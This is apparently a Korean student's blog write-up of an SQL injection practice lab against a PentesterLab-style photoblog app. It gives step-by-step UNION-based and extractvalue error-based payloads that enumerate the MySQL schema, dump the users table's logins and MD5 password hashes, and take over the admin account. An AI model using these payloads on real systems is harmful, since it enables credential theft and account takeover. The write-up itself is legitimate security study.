해킹할 서버 => http://49.142.47.218:9797/
목표
계정 탈취 후 로그인 까지
처음 취약점을 찾기까지..
http://49.142.47.218:9797/cat.php?id=1
=> 메뉴 클릭 시 해당 ? 뒤에 페이지의 파라미터 값이 뜬다
여기서 id값에 산수가 되는지 즉, sql인젝션이 먹히는지 (DB에 질의 여부 판단) 테스트 해본다
첫번째
ex) http://49.142.47.218:9797/cat.php?id=2-1
결과) 위의 코드를 입력 시 id=1 페이지가 나온다
=> 이 말은 즉 sql 인젝션을 통해 db에 질의를 할 수 있다 라는 의미 (사용자의 값이 먹히기 때문 -> 개발자가 의도하지않음)
두번째
ex) http://49.142.47.218:9797/cat.php?id=2 and 1=1
결과) id=2 페이지가 나온다
ex) http://49.142.47.218:9797/cat.php?id=2 and 1=2
결과) 아무것도 나오지 않는다
=> 1=1은 참값, 1=2은 거짓값 / 구문이 거짓이기 때문에 데이터가 나오지 않는다(내가 넣은 구문이 참,거짓을 뱉는다. 공격이 먹힌다)
세번째
ex) http://49.142.47.218:9797/cat.php?id=2<1 ...2<2 ...2<3 ...2<4
결과) 2<3 일때, 페이지 나옴 (비교연산자도 먹힘)
=> 첫번째,두번째,세번째 검증을 통해서 의도치않은 값이 먹힌다는 것을 알아냈다. sql 인젝션 공격 가능 검증 완료!
추가검증
ex) http://49.142.47.218:9797/cat.php?id=2 order by 1~8
결과) 1~4까지는 페이지가 나오고 5~8까지는 Unknown column '5~8' in 'order clause' 라는 구문이 뜬다.
=> 그럼 1~4개까지만 출력이 된 것
+ 마인드 맵처럼 db는 구성되어있다
db>table>column 으로 뻗어나가는 형식.
위 추가검증에서는 컬럼의 갯수는 4개다 라는 것을 알게 된 것이다.
유니언 사용
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,null,null,null
결과) 해당 페이지 하단에 픽쳐라는 타이틀이 생김. 하지만 아무런 정보가 없음
=> 아직 무엇인지 파악 불가
하나씩 대입
ex) http://49.142.47.218:9797/cat.php?id=2 union select all 'a','b','c','d'
결과) 위 페이지에서 픽쳐라는 타이틀 옆에 'b' 라고 생김
=> 저 중에 'b' 영역만 반응을 한다. 즉, 나의 대입 공격이 먹힌다.
버전 알아내기
ex) http://49.142.47.218:9797/cat.php?id=2 union select all 'a',version(),'c','d'
결과) 타이틀 옆에 해당 웹사이트의 db 버전이 출력 되었다.
=> version()은 mysql언어의 db버전을 알아내는 함수이다. 이를 통해 db의 버전을 알았다.
시스템 사용자명을 알아보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all 'a',system_user(),'c','d'
결과) pentesterlab@localhost 가 출력 되었다.
=> db 시스템 사용자명을 알아냈다.
사용하는 db명을 알아보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all 'a',database(),'c','d'
결과) photoblog 가 출력 되었다.
=> 사용되는 db 명을 알았다. 하지만 db가 여러개 일 수 있으니 아래에서 db의 갯수를 알아보자
db의 갯수를 알아보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all 'a',count(*),'c','d' from information_schema.schemata
결과) 2 라는 값을 출력 했다.
=> count(*)는 전체 수를 세는 함수이다. 이를 통해 db는 2개 라는 것을 알 수 있다.
+ information_schema.schemata 은 db의 기본적으로 내장되어있는 db이다. (db의 메타정보를 모아놓은 db...)
+ 해당 사이트는 db가 2개 이지만 무수히 많은 db를 가진 사이트가 있을 것이다. 그럴때는 일일히 할 수 없으니 파이썬을 이용하여 자동화 프로그램을 만들어 자동으로 db의 갯수와 db명을 알 수 있게 해준다.
기본 내장된 db가 아닌 또 다른 db명을 받아보자(조건문 사용)
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,schema_name,null,null from information_schema.schemata
결과) information_schema 밑에 photoblog가 출력 되었다.
=> 위 database()함수를 통해 이미 현재 웹사이트에서 사용되는 db명을 알아냈다.(확인사살)
이제 전체 db의 갯수 2개인것과 기본내장db명이 information_schema인것과 생성된 photoblog을 확인했다.
이제 사용하는 db명을 정확히 알았으니 위치를 지정해서 테이블 명을 알아내자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,table_name,null,null from information_schema.tables where table_schema='photoblog'
결과) cetegories,pictures,users라는 3개의 테이블명이 출력 되었다.
=> 이때 photoblog라는 db안에 3개의 테이블이 아닌 4,5,6... 개가 될 수 있으니 count(*)를 통해, 명확한 갯수를 알아보고 맞는지 확인하는 과정이 필요함.
=> ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,count(*),null,null from information_schema.tables where table_schema='photoblog'
=> 아주 다행히 3개의 테이블이 있다고 한다.
=> 저 3개의 테이블 중 유독 눈에 들어오는 users...
users라는 테이블명의 칼럼수를 알아보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,count(*),null,null from information_schema.columns where table_schema='photoblog' and table_name='users'
결과) 3
=> users라는 테이블명에 3개의 칼럼이 있다.
users라는 테이블의 칼럼명을 알아보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,column_name,null,null from information_schema.columns where table_schema='photoblog' and table_name='users'
결과) id,login,password가 출력되었다.
=>여기서 정리하자면
schema_name 는 db
table_name는 테이블
column_name 는 컬럼
이제 한번에 값을 출력 해보자
ex) http://49.142.47.218:9797/cat.php?id=2 union select all null,concat(id,login,password),null,null from photoblog.users
결과) 놀랍게도 id,login,password에 대한 정보가 출력되었다.
=> 여기서 concat()는 다양하게 이어서 붙혀쓰기 위한 함수이다.
=> 그런데 password가 이상하다 (8efe310f9ab3efeae8d410a8e0166eb2)
=> 이것은 md5 (md5 말고도 base 형태도 있다)
해당 pw를 복호화 해보자
https://md5.web-max.ca/index.php#enter
결과) id와 pw 복호화까지 끝내고 해당 정보로 로그인 해보니 admin계정으로 로그인이 되었다!
=> 성공적인 sql인젝션이었따....
또다른 sql인젝션을 시도해보자
- 에러를 통한 정보 알아내기
ex) http://49.142.47.218:9797/cat.php?id='
결과) 올바른 구문을 작성하라며 에러가 떳다
* '는 싱글쿼터라고 명칭한다
=> 해당 에러는 dbms의 에러이다.
=> 해당 테스트를 통해서 공격할만한 가치가 있지만 저렇게 떠도 안되는 경우가 있어서 검증을 해야만 한다.
예시로는 and 1=1 외에 다른 구문 작성 시 아예 안되는 로직일수도있고 필터링 되는 로직 일 수 있다
그래서 순서대로 검사 후 공격구문 작성 후 검증을 진행해야만 한다.
=> 싱글쿼터를 넣음으로써 에러를 확인했는데 각 dbms마다 에러를 유발 시킬수 있는 함수들이 있다..따로 알아보자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,'hi',0x0a))
결과) xpath구문오류: hi 가 뜬다. 이 말은 즉, 내가 입력한 hi라는 구문이 출력. 먹힌다는 것이다.
hi부분에 내가 알고자 하는 함수를 입력한다. db명을 알아내자
위와 동일한 방식으로 system_user도 알아내자
- ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(database()),0x0a))
- 결과1) photoblog
- ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(system_user()),0x0a))
- 결과2) pentesterlab@localhost
db의 갯수도 정확히 알아보자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select count(*) from information_schema.schemata),0x0a))
결과) 2
이제 위 공격방법처럼 db를 출력해보자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select schema_name from information_schema.schemata),0x0a))
결과) 뭔가 이상하다. 하위 쿼리가 2개이상의 행을 반환한다고만 뜬다
=> 이것은 위에서 우리는 테이블이 3개가 동시에 나왔지만 이 방식은 1개씩만 보여준다고한다.
=> 이럴땐 한개씩만 요청 해본다
다시 db를 순서대로 출력해보자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select schema_name from information_schema.schemata limit 0,1),0x0a))
=> limit에 대해서는 추가로 알아보자
=> 쨋든 0,1과 1,1 그리고 2,1 을 해보면
결과) 0,1일땐 information_schema / 1,1일땐 photoblog / 2,1은 아무것도 안나온다
2,1일때 아무것도 안나온것은 db가 2개 뿐이라서 안나오는 것이다
=> limit ? , !
?은 0부터 !은 1로 고정
이제 db명을 알았으니 테이블 카운트를 세보자(조건문 where => 어디서?)
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select count(*) from information_schema.tables where table_schema='photoblog'),0x0a))
결과) 3
이제 테이블명을 알아보자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='photoblog' limit 2,1),0x0a))
결과) users
=> 상위 방식과 동일하게 한개씩 요청하여 확인했고, 제일 호기심가득한 users를 가져왔다
이제 칼럼을 가져오자
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema='photoblog' and table_name='users' limit 0,1),0x0a))
결과) id
=> 위에서 다 뽑아 봤으니 첫번째꺼 기준으로 뽑았다
=> 존재하는 컬럼은 id,login,password
마지막 컬럼 데이터 도출 한번에 하기
ex) http://49.142.47.218:9797/cat.php?id=extractvalue(0x0a,concat(0x0a,(select concat(id,login,password) from photoblog.users limit 0,1),0x0a))
결과) 위와 같은 결과로 id,login,password값을 받아냈다! 성공!
이것이 sql 문법이다.
추가로 도출해낸 값을 보기 좋게 정렬하려면 사이사이 '아이디=' 이렇게 문자열로 입력하면 이쁘게 나온다!
이번 실습을 통해...
sql 인젝션에 대해서는 참값과 거짓값을 알아내는 정도로 밖에 알지 못했는데,
이렇게 실습을 통해서 sql 문법과 다양한 함수를 사용하여, 인젝션을 시도 해보았고 그에 따른 결과값이 나오자 너무 신기했다.
information_schema.schemata 이라는 기본 내장되어있는 db가 있다는 것도 알게 되었고,
내가 원하고자 하는 데이터 값을 도출할때,
schema_name 는 db,table_name는 테이블,column_name 는 컬럼 이라는 것을 통해 알 수 있다는 점도 배웠다.
기본적으로는 공격을 시도하기전에 해당 공격을 실행 시킬 수 있는지 없는지에 대한 검증 과정이 필요하다는 것도 얕게나마 알게 되었다.
그리고 잘 알지 못했던 데이터베이스의 구조 또한 이해 했으며, 앞으로의 db공부에 큰 도움이 될 것 같다.
실제 실무에서는 이정도의 얕은 보안성을 지닌 웹사이트는 거의 없겠지만 이로써 가장 기본적인 해킹 기법을 배운 것같다.
앞으로는 해당 게시물처럼 취약점 찾기, 공격시도 가 아닌 해당 취약점이 공격 당하지 않도록 방어 방법에 대해서도 공부 할 것이다.
또한, 나날이 발전하는 웹 처럼 다양한 공격기법이 생겨 날 것이니(나또한 찾아낼수도 있고..)
항상 연구하여 방어기법도 함께 공부 할 것이다.
'적을 알고 나를 알면 백전백승' 이라는 말처럼..!
'웹,앱 해킹 > 기초' 카테고리의 다른 글
커멘드 인젝션 공격 (0) | 2021.07.06 |
---|---|
브루트포스 공격 및 대응 (0) | 2021.07.05 |
웹 아키텍쳐 (0) | 2021.06.29 |
웹사이트를 통한 침투 (0) | 2021.06.29 |
화이트 해커란? (0) | 2021.06.28 |